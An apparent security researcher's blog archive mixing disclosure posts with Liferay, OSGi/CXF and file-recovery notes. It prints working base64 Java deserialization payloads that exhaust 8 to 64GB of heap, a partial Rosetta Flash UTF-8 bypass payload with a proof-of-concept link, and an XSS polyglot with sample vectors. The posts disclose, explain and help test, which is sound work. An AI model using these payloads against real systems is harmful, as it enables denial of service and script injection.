Friday, April 1, 2016

Java Deserialization DoS - payloads

Handy payloads for testing Java Deserialization vulnerability


GitHub project:  https://github.com/topolik/ois-dos/

Update: A new attack vector against ObjectInputStream.readProxyDesc() using just 9 bytes: rO0ABX1////3

Scenarios


  • Generic heap overflow
  • Heap overflow using nested Object[] arrays 
  • Heap overflow using nested ArrayList
  • Heap overflow using nested HashMap
  • HashMap and Hashtable collisions attacks

Can be used to bypass blacklist protections or whitelists allowing Object[] array, ArrayList or HashMap.

Payloads to consume 8GB of heap:


Generic (9 bytes): 

rO0ABX1////3


Nested Object[] (44 bytes): 


rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////c=

Nested ArrayList (67 bytes):

rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHB////3dwR////3cHBwcHBwcHBwcA==

Nested HashMap (110 bytes):

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABBAAAAAc3EAfgAAP0AAAAAAAAx3CAAAABBAAAAAcHB4cHg=

----

114 bytes to consume 64GB of heap (nested Object[]):

rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3dXEAfgAAf///93VxAH4AAH////d1cQB+AAB////3dXEAfgAAf///93VxAH4AAH////d1cQB+AAB////3



Short description of Heap overflow attacks

In order to minimize the size of payload I play with "size" field of the classes to overwrite serialized data so that the "size" is near Integer.MAX_VALUE, even though there are only few entries inside the payload.

During deserialization the classes pre-allocate big arrays (based on "size") to be filled with values before actual reading the values happen. Therefore it's not necessary to send all values, OutOfMemoryError is thrown after few allocations for nested objects ... Object[] can contain another Object[].

Let's look at the Object[] payload. It was modified to have max possible size for arrays: ArrayList.MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8 This means array of 2 billion of pointers (each 4 bytes) => 2^9 * 4B = 8GB

Having 8 such Object[] arrays nested one inside another, JVM allocates 8GB array for the root array object, then reads first item ... nested Object[] which is again max-sized array. So allocates another 8GB and continues to deserialize 2nd level array with another 8GB, etc. etc., sooner or later fails with OutOfMemoryError.

Short description of HashMap and Hashtable collision attacks

HashMap in Java 1.7, when created with initialCapacity == loadFactor, create one and only one bucket to store all items. 

Hashtable during deserialization suffers similar condition and allows negative loadFactor => using just one bucket to store all items.

Other info

Please use only for your pen-testing / evaluation of your products.

Reported to Oracle in 2015 with "won't fix" response. Hashtable negative loadFactor bug is treated as a functional bug and should be fixed in one of future releases.


Wednesday, June 10, 2015

CVE-2015-3096 - Rosetta Flash fix bypass using UTF-8

Rosetta Flash meets UTF-8 ... CVE-2015-3096

  1. You may know Rosetta Flash attack (CVE-2014-4671) that uses JSONP callback to echo back flash payload and execute the flash -> CSRF attack on vulnerable sites - which were (almost?) all JSONP-enabled sites at that time.

  2. The original Adobe's fix wasn't good enough and Adobe released another fix ... CVE-2014-5333

  3. Yesterday (June 09, 2015) Adobe released another patch APSB15-11 with a fix of this new CVE-2015-3096

TL;DR: Adobe fix for Rosetta Flash expected only ASCII payload => let's send a 2-bytes UTF-8 character => protection bypass ... flash loaded => CSRF / information theft.

Intro

The core idea of Rosetta Flash vulnerability is to convince a victim site to echo back a payload sent in request. The response can use whatever content-type, the payload just must be the first thing written into the response.

Then all we need is to send a flash file as the payload. Browser loads the file like it would be hosted on the victim site and runs the flash payload, with the victim site origin policies.

JSONP enabled services are the perfect target, they write the payload (JSONP callback) as the first thing in the response.

Browser recognizes the payload as a valid flash file, run the flash with the victim site origin policy so the flash can steal data or perform CSRF there.

Attack Design

Michele Spagnuolo invested into the research and described the vulnerability in the most devastating way - using only ASCII characters for the flash file payload which was correct for most/all JSONP endpoints.

Adobe fixed it accordingly - expected only ASCII coming from the victim server. When the victim site returns a non-ASCII character in the first 4096 bytes, Flash Player assumes it's a safe scenario and executes the flash.

But, living in Unicode world, there are also sites supporting UTF-8 characters in JSONP callbacks.

Now, all we need is to create a valid flash file with a non-ASCII byte => 2-bytes UTF-8 character with first byte being always >= c0 (hex).

----

I used RosettaFlash github project to encode flash files using ASCII + one higher UTF-8 character at the end - https://github.com/topolik/rosettaflash/compare/master...utf8checksum

Example flash file (URL encoded), please note the 2-byte UTF-8 character (%df%a2 ... U+7e2) almost in the end:

CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt
... content omitted for brevity ...
oooooooooooooooooooooooooooooo888888888880%df%a2%30%68

Flash Player finds the %df non-ACII byte, loads the flash file assuming it's a valid file hosted on the victim site and run the flash.

----

You can try a PoC to see if your browser+flash is vulnerable:
  • http://topolik.cz/jsonp_flash_callback/ and slowly click on buttons 1, 2, and then 3, :)
  • Your browser is vulnerable when you find anything catched into the log
  • For more info open browser dev console -> network and look for HTTP POST request to log.php

Mitigation on clients - update your flash:
* Linux: 11.2.202.466
* Mac: 18.0.0.161
* Windows: 18.0.0.160

Mitigation on servers - protect JSONP endpoints as described by Miki

Timeline:
* 06. 02. 2015 - Discovered and notified Adobe
* 09. 06. 2015 - Adobe released a fixed

Wednesday, October 1, 2014

Recover Deleted Fles From Canon SD Card (FAT32) on OpenSUSE

It happens. You delete files on your SD Card with family films to realize you don't have the backup @#$@(#@*&$!@(#$!!!!

Luckily the SD Card use old FAT32 => when I won't write any new data on the card I should be able to simplly un-delete the files.

Here are my 8 steps to the rescue:
=========================

1. Put SD card into the card reader

2. Unmount the card (find it using mount command)
unmount /dev/sde1
3. Get the card raw data (has anyone tried to create a boot-able SD card?)
sudo dd if=/dev/sde of=sde.raw
4. Display the image structure:
fdisk -l sde.raw

Disk sde.raw: 31.9 GB, 31914983424 bytes, 62333952 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk label type: dos
Disk identifier: 0x00000000

  Device Boot      Start         End      Blocks   Id  System
sde.raw1            8192    62333951    31162880    c  W95 FAT32 (LBA)
5. Install SleuthKit (I had it installed)

6. Browse the image using fls tool (notice I start from offset 8192 with 512 bytes/sector) to find the deleted files inodes:
fls -b 512 -o 8192 -f fat sde.raw

r/r 3: CANON       (Volume Label Entry)
d/d 4: PRIVATE
d/d 5: DCIM
v/v 996950019: $MBR
v/v 996950020: $FAT1
v/v 996950021: $FAT2
d/d 996950022: $OrphanFiles

fls -b 512 -o 8192 -f fat sde.raw 4
d/d 1029: MY_MUSIC
d/d 1030: MY_PICT
d/d 1031: CVINFO
d/d 1032: AVCHD

fls -b 512 -o 8192 -f fat sde.raw 1032
d/d 5125: BDMV
d/d 5126: CANON

fls -b 512 -o 8192 -f fat sde.raw 5125
d/d 6149: BACKUP
d/d 6150: PLAYLIST
d/d 6151: CLIPINF
d/d 6152: STREAM
r/r 6153: INDEX.BDM
r/r 6154: MOVIEOBJ.BDM

fls -b 512 -o 8192 -f fat sde.raw 6152
r/r * 10245: _0000.MTS
r/r * 10246: _0001.MTS
r/r * 10247: _0002.MTS
r/r * 10248: _0003.MTS
r/r * 10249: _0004.MTS

...
Bingo!

7. Extract the files using icat tool
icat -b 512 -o 8192 -f fat -r sde.raw 10245 > _0000.MTS
icat -b 512 -o 8192 -f fat -r sde.raw 10246 > _0001.MTS
icat -b 512 -o 8192 -f fat -r sde.raw 10247 > _0002.MTS
icat -b 512 -o 8192 -f fat -r sde.raw 10248 > _0003.MTS
icat -b 512 -o 8192 -f fat -r sde.raw 10249 > _0004.MTS
...
8. Voilà! Marriage is rescued again! ;)

Friday, September 12, 2014

CoolPeople critical vulnerabilities fixed (affecting 100k+ users)

Finally I found some time to make a blog post :)

CoolPeople, world-wide Czech-based sourcing company, fixed recently many critical flaws in their apps.

Freelancers registers and work through them for customers, CoolPeople takes care of the business and payment part.

I won't list all flaws here, only the categories:
  • Arbitrary (Remote) Code Execution
  • Unrestricted File Upload
  • OS Command Injection
  • Wrong Credentials Management
  • XSS
  • CSRF
  • Missing Authorization
  • Other less important issues (https config, cookie flags, etc.)
Beside others, all invoices, bank account details, signatures, contacts, CVs and all other uploaded files into system were freely accessible by anyone using URL manipulation.

----

Their apps run on AstraSystems framework with the same issues affecting all their customers and their private data:
  • Customer accounts (CRM)
  • Customer apps configuration (incl. passwords) and DB dumps
  • Internal business documents
  • etc.

Some screenshots for fun:

Plain-text password in DB
PHP shell
Stored XSS

-----
Timeline:
July 3, 2014 ... August 14, 2014 – Working together to fix the flaws
August 15, 2014 – The most critical flaws are fixed, the rest will come with site redesign (I hope)

Thursday, September 4, 2014

How Apache Directory Listings Can Compromise Your Server

Do you think allowed Directory Listings is a minor security issue or no issue at all?

It's not.

Why?

See:


(DB backup with site passwords and others)

Thursday, August 28, 2014

Liferay ERROR SERVLET_CONTEXT_/html/themes/classic/templates/portlet.vm does not exist

Problem:

10:03:16,205 ERROR [RuntimePageImpl-6][ThemeUtil:426] _SERVLET_CONTEXT_/html/themes/classic/templates/portlet.vm does not exist
10:03:16,212 ERROR [RuntimePageImpl-5][ThemeUtil:426] _SERVLET_CONTEXT_/html/themes/classic/templates/portlet.vm does not exist
10:03:16,248 ERROR [RuntimePageImpl-4][ThemeUtil:426] _SERVLET_CONTEXT_/html/themes/classic/templates/portlet.vm does not exist
10:03:16,249 ERROR [ajp-bio-8009-exec-8][ThemeUtil:426] _SERVLET_CONTEXT_/html/themes/classic/templates/portal_normal.vm does not exist


Solution

  1. Build and Deploy themes:

    liferay-portal-src/portal-web $ ant clean build-themes deploy
     
    Buildfile: /opt/liferay.git/portal.git/portal-web/build.xml
    
    build-themes:
    
    build-alloy:
    
    build-alloy-bootstrap:
    
    build-alloy-font-awesome:
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system-ext.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system-ext.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system-ext.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system-ext.properties
         [copy] Copying 671 files to /opt/liferay.git/portal.git/portal-web/docroot/html/themes/classic
         [copy] Copied 56 empty directories to 6 empty directories under /opt/liferay.git/portal.git/portal-web/docroot/html/themes/classic
         [copy] Copying 13 files to /opt/liferay.git/portal.git/portal-web/docroot/html/themes/classic
         [copy] Copying 21 files to /opt/liferay.git/portal.git/portal-web/docroot/html/themes/classic
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system.properties
         [java] Loading file:/opt/liferay.git/portal.git/portal-impl/classes/system-ext.properties
         [copy] Copying 671 files to /opt/liferay.git/portal.git/portal-web/docroot/html/themes/control_panel
         [copy] Copied 56 empty directories to 6 empty directories under /opt/liferay.git/portal.git/portal-web/docroot/html/themes/control_panel
         [copy] Copying 13 files to /opt/liferay.git/portal.git/portal-web/docroot/html/themes/control_panel
         [copy] Copying 45 files to /opt/liferay.git/portal.git/portal-web/docroot/html/themes/control_panel
         [copy] Copying 1 file to /opt/liferay.git/portal.git/portal-web/docroot
     
    deploy-fast:
         [copy] Copying 1272 files to /opt/liferay.git/bundles/tomcat-7.0.42/webapps/ROOT
    
    BUILD SUCCESSFUL
    Total time: 3 seconds
    
    
  2. Restart portal

Wednesday, July 2, 2014

Notes on Publishing Equinox OSGi services as JAX-WS services using Apache CXF with WS-Security* support

... This are my notes in case I forget during the process ...

Goal: Publish Liferay services as JAX-WS API
=================================

Problem: JAX-WS is supported by each app server differently.

Imagine having:
* JAX-WS 2.0, 2.1 and 2.2
* GlassFish, Tomcat + TCat, JBoss, IBM WAS, Oracle WLS
* Several version of each app server/container are certified / supported (see https://www.liferay.com/services/support/support-matrix)

To expose Liferay services we would need to tune each app server, version and write specific deployment instructions.

Solution: Isolate JAX-WS implementation using ClassLoaders.

Here comes OSGi which can load whatever JAR files we want and separate the implementation from app server class loaders.

------------------------------------------------------------

Decisions:
* use OSGi

------------------------------------------------------------

Problem: Find the best JAX-WS framework for OSGi

Not all JAX-WS frameworks can work correctly in OSGi and can be loaded by OSGi correctly.

+ we need WS-Security* enabled JAX-WS framework

Solution: Small analysis, CXF wins

Most common JAX-WS frameworks are (alphabetically):
* Axis2
* CXF
* Metro (reference implementation)

Prepared for OSGi are:
1, CXF
2, Axis2

Both support WS-Security into some degree, CXF seems to be better, has full JUnit security tests.

Google popularity:
axis2 problem: 445 000 hits
* cxf problem:  594 000 hits
jax-ws problem: 4 200 000 hits :D

Trends:

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF

------------------------------------------------------------

Problem: CXF doesn't work in other OSGi implementations

CXF 2.x works correctly with Apache Karaf + Apache Aries for Blueprint.

CXF 2.x declares many extension points using Blueprint XML namespaces, if Apache Aries is not available, CXF fails to load.

See: https://issues.apache.org/jira/browse/CXF-5703

Solution: Use CXF 3.0 Beta

It's rather a workaround, CXF still tries to register custom namespaces using Aries.

If Aries is not found then continue, but CXF extensions are not available from Blueprint XML:

Jul 02, 2014 2:48:44 PM org.apache.cxf.bus.blueprint.NamespaceHandlerRegisterer register
WARNING: Aries Blueprint packages not available. So namespaces will not be registered
java.lang.NoClassDefFoundError: org/apache/aries/blueprint/NamespaceHandler
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(ClassLoader.java:800)
at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.defineClass(DefaultClassLoader.java:188)
at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.defineClassHoldingLock(ClasspathManager.java:638)
at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.defineClass(ClasspathManager.java:613)
at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.findClassImpl(ClasspathManager.java:574)
at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.findLocalClassImpl(ClasspathManager.java:492)
at org.eclipse.osgi.baseadaptor.loader.ClasspathManager.findLocalClass(ClasspathManager.java:465)
at org.eclipse.osgi.internal.baseadaptor.DefaultClassLoader.findLocalClass(DefaultClassLoader.java:216)
at org.eclipse.osgi.internal.loader.BundleLoader.findLocalClass(BundleLoader.java:395)
at org.eclipse.osgi.internal.loader.BundleLoader.findClassInternal(BundleLoader.java:464)
at org.eclipse.osgi.internal.loader.BundleLoader.findClass(BundleLoader.java:421)
at org.eclipse.osgi.internal.loader.BundleLoader.findClass(BundleLoader.java:412)


=>  CXF must be configured programatically.

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically

------------------------------------------------------------

Problem: Some JAR files are not OSGi bundles, installation of CXF into container is complicated


Worth noting - works only on my environment :D

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts

------------------------------------------------------------

Problem: Unresolved optional dependencies, that are not optional :)

CXF with JAX-WS and WS-Security = many bundles.

Because WS-Security is optional, it's not loaded when it's missing / installed later.

To resolve all bundles it takes non-trivial effort that ends with unresolved optional Import package references.

Solution: Trial-error bundle loading to satisfy all optional import packages

Recommendation: 
1, use "diag" command from gogo console!
2, enable debug in Equinox to see what has been imported and what keeps unresolved
osgi.debug=/opt/liferay.git/bundles/portal-ext.properties
The file content:
org.eclipse.osgi/resolver/debug=true
org.eclipse.osgi/resolver/wiring=true
org.eclipse.osgi/resolver/imports=true
org.eclipse.osgi/resolver/requires=true
org.eclipse.osgi/resolver/generics=true
org.eclipse.osgi/resolver/uses=true
org.eclipse.osgi/resolver/cycles=true
Result: (for now) gogo-console script

Should be: a one-time install package like Apache Karaf features

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts

------------------------------------------------------------

Problem: To declare security used by JAX-WS we need WS-Policy but we don't have WSDL and  existing OSGi services doesn't have JAX-WS @Policy annotations.

Solution: Use External Policy Attachments for WS-Policy

Let's configure CXF to map external policies onto JAX-WS services.

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts
* use WS-Policy external attachments

------------------------------------------------------------

Problem: CXF doesn't support WS-Policy external attachments to be configured programatically

CXF's ExternalAttachmentProvider class doesn't have public constructor and is created only as Spring bean (called by Apache Aries).

Solution: Create a OSGi fragment and fix the provider so that it can be used outside the package.

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts
* use WS-Policy external attachments
* use a OSGi fragment to fix ExternalAttachmentsProvider

------------------------------------------------------------

Prototype: How dynamically apply external policy XMLs to existing services?

1, Configure external policy file using patched ExternalAttachmentsProvider
2, Enrich default external policy to be able to dynamically match services

=>  Create CXF extension
* CXF extension description META-INF/cxf/bus-extensions.txt
* + DomainExpression builder prototype that is able to apply policies on the service / service parts

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts
* use WS-Policy external attachments
* use a OSGi fragment to fix ExternalAttachmentsProvider
* use a custom CXF extension to dynamically map services to external policy file

------------------------------------------------------------

Problem: OSGi services are not complatible with JAX-WS

Services  don't have JAX-WS @WebService annotation which is required by JAX-WS

Solution: Use Javassist to generate new interface with @WebService annotation and dynamic proxy to apply the annotated interfaces on the existing service

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts
* use WS-Policy external attachments
* use a OSGi fragment to fix ExternalAttachmentsProvider
* use a custom CXF extension to dynamically map services to external policy file
* use Javassist and dynamic proxies to add @WebService annotation

------------------------------------------------------------

Problem: OSGi services are not JAXB friendly.

Types that services use may not be easily marshallable, but OSGi services doesn't support JAXB annotation.

JAXB is not able to generate XSD into WSDL to correctly describe types and interfaces used in the methods.


Solution: Generate type wrappers so that JAXB is able to marshall interfaces and unknown types.

The type wrappers are used instead of original types. When the type cannot be wrapped I ignored the type => the whole web method.


------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts
* use WS-Policy external attachments
* use a OSGi fragment to fix ExternalAttachmentsProvider
* use a custom CXF extension to dynamically map services to external policy file
* use Javassist and dynamic proxies to add @WebService annotation
* use Javassist to generate type wrappers for unmarshallable types

------------------------------------------------------------

Problem: CXF is not able to generate correct WSDL from java proxies

The whole solution with dynamic proxies is bad. CXF doesn't want to create WSDL based on the annotation interface. It inspects the actual class and defined methods ... doesn't work with dynamic proxies.

Solution: Throw out dynamic proxies and generate services wrapper class using Javassist.

The prototype is semi-working, see further.

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts
* use WS-Policy external attachments
* use a OSGi fragment to fix ExternalAttachmentsProvider
* use a custom CXF extension to dynamically map services to external policy file
* use Javassist and dynamic proxies to add @WebService annotation
* use Javassist to generate type wrappers for unmarshallable types
* don't use dynamic proxies and generate wrappers for both services and unmarshallable types

------------------------------------------------------------

Problem: ClassLoading problems

* ClassNotFoundException ... generated classes are loaded by a different classloader
* ClassCastException ... bundle classes are loaded twice, once inside generated classes and once using bundle classloader

Solution: We need custom ClassPool and class loader for defining classes that see all services & bundles classes.

Liferay AggregateClassLoader with WeekReferences is the perfect fit for bundle classloaders that will be dynamically added and removed when OSGi service is registered / removed.

We also need strictly delegating ClassLoader for instantiating CtClasses, because we don't override existing classes.

=> JaxWsClassPool with custom ClassLoader having AggregateClassLoader as parent.

This way generated classses are stored in the custom ClassLoader, existing classes are found using parent classloader - AggregateClassLoader which holds references to bundles' ClassLoaders.

Problem: method.getClass().getPackage() == null for generated classes???

CtClass.toClass() only creates the class object, but not package object. We can use javassist.Loader class loader to generate the package. See https://community.jboss.org/thread/93814?start=0&tstart=0

But, CtClass.toClass() calls directly ClassLoader.define() methods using reflection API => javassist.Loader.findClass() that creates the package object is not called => package is not created.

Solution:
1. We cannot call CtClass.toClass() directly, but ClassPool.getClassLoader().findClass(CtClass.getName()).
2, We need our strict loading ClassLoader to be javassist.Loader:

JaxWsClassPool -> DelegatingLoader (extends javasssist.loader) -> AggregatedClassLoader (references bundles class loaders)

Problem: Primitive conversion: auto-boxing doesn't work using Javassist compiler.

Solution: We need to correctly cast types and convert them so that they match method signatures :/

Ends up in another working prototype

------------------------------------------------------------

Decisions:
* use OSGi
* use CXF
* use CXF version >= 3.0
* configure CXF programatically
* use install scripts
* use WS-Policy external attachments
* use a OSGi fragment to fix ExternalAttachmentsProvider
* use a custom CXF extension to dynamically map services to external policy file
* use Javassist and dynamic proxies to add @WebService annotation
* use Javassist to generate type wrappers for unmarshallable types
* don't use dynamic proxies and generate wrappers for both services and unmarshallable types
* use custom class pool with custom class loading architecture
* use type casting for primitives, auto-box primitives manually

------------------------------------------------------------

Problem: Type wrappers with auto-boxed primitives cannot be used as original type instances.

There is a clash between a type wrapper implementing original type (model class) and the original type.

Having primitive field "int", the type Wrapper has Integer => getInt() must return Integer for JAXB and "int" to satisfy the implementation.

Problem: Unmarshallable types inside collections and maps cannot be handled by JAXB.

Having an ArrayList with Objects, we don't wrap instances of the objects -> JAXB doesn't know how to marshall the objects, because we don't convert them into type wrappers.

Solution: 
1, Avoid type wrappers conversion at all, delegate types conversion on JAXB.
2, Generate Type Wrappers as now, but implement the type <-> type wrapper conversion inside custom XMLAdapters.
2,  Dynamically generate the XMLAdapter classes for types that cannot be marshalled.
3,  Use @XmlJavaTypeAdapter on package level to define supported type conversion

This way the type can be converted in any situation.

... to be implemented

Friday, June 20, 2014

LinkedIn Stored XSS Vulnerability

TL;DR: I found a stored XSS on LinkedIn, that's all folks, nothing special.

----

I was invited to publish on LinkedIn.

I wondered how good is LinkedIn at multi-byte UTF-8 support (fixed some bugs recently in Liferay related to escaping and surrogate pairs) and noticed a strange thing.

When processing URLs, LinkedIn exchanges escaped characters with their unescaped form = removes the escaping.

&#34; → "

Then it was easy to create some vectors to try the stored XSS:





----

Timeline:
June 17, 2014 10:43 PM CEST – Reported to Linkedin Security Team
June 17, 2014 11:09 PM CEST – ACKed they received it
June 18, 2014 01:04 AM CEST – Reproduced
June 19, 2014 04:12 AM CEST – Got email that it's fixed

----

After this I was a bit scared so I quickly looked also at other LinkedIn features that I use. And found another vulnerability in the feature I trust and would be a good victim for :/

But, for now, please stay tuned until they fix it. You know, I'm the white-hat = harmless ;)

Friday, February 14, 2014

How is it with URL encoding + XSS

Correct URLs


All URIs need to be encoded using percent encoding as specified in rfc3986.

URLs may consist of:
* reserved characters - when used with their special meaning: !*'();:@&=+$,/?#[]
* unreserved characters - don't need to be encoded: a-z A-Z 0-9 -._~
* any other characters must be encoded using %xx hex escaping sequence using UTF-8 bytes

This means:
http://example.com/příliš/žluťoučký;kůň=úpěl?ďábelské=ódy is a nice invalid URL.

Correct is:
http://example.com/p%C5%99%C3%ADli%C5%A1/%C5%BElu%C5%A5ou%C4%8Dk%C3%BD;k%C5%AF%C5%88=%C3%BAp%C4%9Bl?%C4%8F%C3%A1belsk%C3%A9=%C3%B3dy

Question: Are URLs in my web app broken?
Answer: Unless you always go with ASCII ... probably yes :)
Better answer: It doesn't matter, browsers are smart enough to correctly parse the simple ones

Semantics of URL parts

Important to know ⁉
  • URL = decode(encode(URL))
  • encode(URL) != encode(decode(encode(URL)))
Decoding depends on correct knowledge of the parts being encoded!
http://example.com/evaluate/3%2B2%2F5 ⇝ http://example.com/evaluate/3+2/5
http://example.com/evaluate/3%2B2/5 ⇝ http://example.com/evaluate/3+2/5
=> ENCODING is responsible to transfer the knowledge into correctly constructed URL
=> only then DECODING is able to correctly identify the parts

Exercise from [2]:
http://example.com/:@-._~!$&'()*+,=;:@-._~!$&'()*+,=:@-._~!$&'()*+,==?/?:@-._~!$'()*+,;=/?:@-._~!$'()*+,;==#/?:@-._~!$&'()*+,;=

The important are delimiters - reserved characters.

URLs & HTML = XSS ?


URLs in HTML = replace & for &amp; But what about URLs and XSS?

Q: Can there be a XSS in URL? 
A: Inside not encoded URL ... YES!
Example URL: http://localhost/'"><img src=x onerror=alert(1)>
⇝ <a href="http://localhost/'"><img src=x onerror=alert(1)>">link</a>

Q: Can there be a XSS in correctly encoded URL?
A: Yes!
Example URL: http://localhost/'+alert(1)+'
Correctly encoded: http://localhost/'+alert(1)+'
<script>location.href='http://localhost/'+alert(1)+'';</script>

Summary

Q: Does it matter when I don't encode URLs using percent-encoding syntax?
A: Only when parts contain reserved characters.

=> ENCODE user-supplied parts of the URL

http://example.com/evaluate/ + encode("3+2/5") ⇝ http://example.com/evaluate/3%2B2%2F5

Q: Can there be a XSS in URL?
A: Yes.

=> ESCAPE user-supplied URLs based on the surrounding context (see OWASP cheet sheet)!

⇝ <a href="http&#x3a;&#x2f;&#x2f;localhost&#x2f;&#x27;&#x22;&#x3e;&#x3c;img&#x20;src&#x3d;x&#x20;onerror&#x3d;alert&#x28;1&#x29;&#x3e;">link</a>

<script>location.href='http\x3a\x2f\x2flocalhost\x2f\x27\x22\x3e\x3cimg\x20src\x3dx\x20onerror\x3dalert\x281\x29\x3e';</script>

Where to continue...


(for serious readers, ordered by simplicity)


Tuesday, January 28, 2014

Install MariaDB for Liferay @ Ubuntu


Follow https://downloads.mariadb.org/mariadb/repositories/

Problem:

Cannot execute statement: impossible to write to binary log since BINLOG_FORMAT = STATEMENT and at least one table uses a storage engine limited to row-based logging. InnoDB is limited to row-logging when transaction isolation level is READ COMMITTED or READ UNCOMMITTED.

Solution:

sudo echo 'binlog_format=row' >> /etc/mysql/conf.d/mariadb.cnf && sudo /etc/init.d/mysql restart

Thursday, December 5, 2013

My XSS Locator / Vector

toString()+alert(/xss/)+function(){/*'+alert(/xss/)+'"+alert(/xss/)+"--></style><img src=x onerror=alert(/xss/)>*/}

URL Encoded:
toString()%2Balert(%2Fxss%2F)%2Bfunction()%7B%2F*%27%2Balert(%2Fxss%2F)%2B%27%22%2Balert(%2Fxss%2F)%2B%22--%3E%3C%2Fstyle%3E%3Cimg%20src%3Dx%20onerror%3Dalert(%2Fxss%2F)%3E*%2F%7D


Pros
  • Able to exploit most places (the list is below)
  • Trying not to break JavaScript syntax
  • Easy to identify the vulnerable field (e.g. alert(/userMiddleName/))

Cons - too long for values which have length limit



List of exploitable places:
  • JavaScript/DOM XSS
    • var x="asdf<%= xssLocator %>xxx";
    • var y='asdf<%= xssLocator %>xxx';
    • opener.<%= xssLocator %>(some, arguments);
    • element.html(xssLocatorInput.value);
  • CSS XSS:
    • <style>a:after { content: '<%= xssLocator %>';}</style>
  • HTML Attribute XSS:
    • <a href="#" alt="<%= xssLocator %>">test</a>
    • <a href='#' alt='<%= xssLocator %>'>test</a>
  • HTML Body and Comments XSS
    • <%= xssLocator %>
    • <!-- <%= xssLocator %> -->

Thursday, March 21, 2013

Liferay Theme & SASS cache problems during build

Extending themes using Liferay Plugins SDK is simple.

Extending Classic theme is not - there is css/.sass-cache folder to cross your plans.

How to fix? Change build.xml file in your theme folder and override build-css target:

<?xml version="1.0"?>
<!DOCTYPE project>

<project name="test-theme" basedir="." default="deploy">
  <import file="../build-common-theme.xml" />

  <property name="theme.parent" value="classic" />

  <target name="build-css">
  <delete file="docroot/css/.sass-cache/main.css" />
  <ant 
            antfile="../build-common-theme.xml" 
            target="build-css" />
  </target>
</project>


Tuesday, February 19, 2013

HTTP mod_proxy + Liferay @ same server = security problem

Liferay use remote IP check for Web Services authorization. This check can be bypassed with wrong environment configuration.

The wrong configuration:
1, the web server is on the same machine as the app server (has same localhost / server IP)
2, the web server use HTTP proxy

What happens - HTTP request goes to the web server, which proxies the request to Liferay. Now remote IP = IP of the web server = localhost.

Risk
* Anyone can access remote web services
* Anyone can execute public remote methods, other methods require authentication. (Note: Starting with Liferay 6.1.1 / 6.1.20 all methods require authentication.)
* Anyone can execute brute-force attack on users' portal credentials to break the authentication, SSO settings are bypassed

Quick workaround - change:
*.servlet.hosts.allowed=127.0.0.1,SERVER_IP
to
 *.servlet.hosts.allowed=255.255.255.255

There is one drawback - you can't access Liferay Web Services from anywhere :)

Solution - move the web server into another machine or use AJP:
* load mod_proxy_ajp
* rewrite configuration to use ajp and port 8009 everywhere (8009 is Tomcat default). Example:
ProxyPass / ajp://localhost:8009/

Applies to Apache HTTP Server, nginx and, in fact, to any HTTP proxy server in this configuration.

Monday, November 19, 2012

How to correctly escape webapp output

1, Escaping must be performed in the last possible place = when writing HTML output


Only when writing a java variable content to the output stream we know if we write the content into a javascript variable, html attribute or as a plain text (html body).

2, Every variable of a String type deserves escaping. Don't escape output only in case you NEED to print HTML.


You may never know how a possibly malicious content got into your variable. It may be persistent
XSS from DB, session attribute, request parameter.

3, Use the right escaping for the right situation. 


See OWASP's XSS_Prevention_Rules_Summary


Side note: Don't mix URL encoding with URL escaping. 

See HTML appendix B.2.1 and B.2.2


URL encoding
Though there can be UTF-8 characters in the URL, URLs should be transmitted in US-ASCII encoding.

Valid URL follows percent encoding of characters, described in Percent encoding of URI characters.

When URL is not encoded, UTF-8 characters are translated into US-ASCII OOTB by browsers. But if you want to be sure (you can't lose here) you can use new java.net.URI().toASCIIString(). In javascript there is a similar function window.encodeURI().

What MUST BE encoded is a URL parameter name and value. It's confusing but to encode the parameter use java.net.URLEncoder.encode(). Javascript has better name: window.encodeURIComponent().

Don't use URL encoding to perform HTML escaping! (Yes, I've seen that :) )


URL escaping
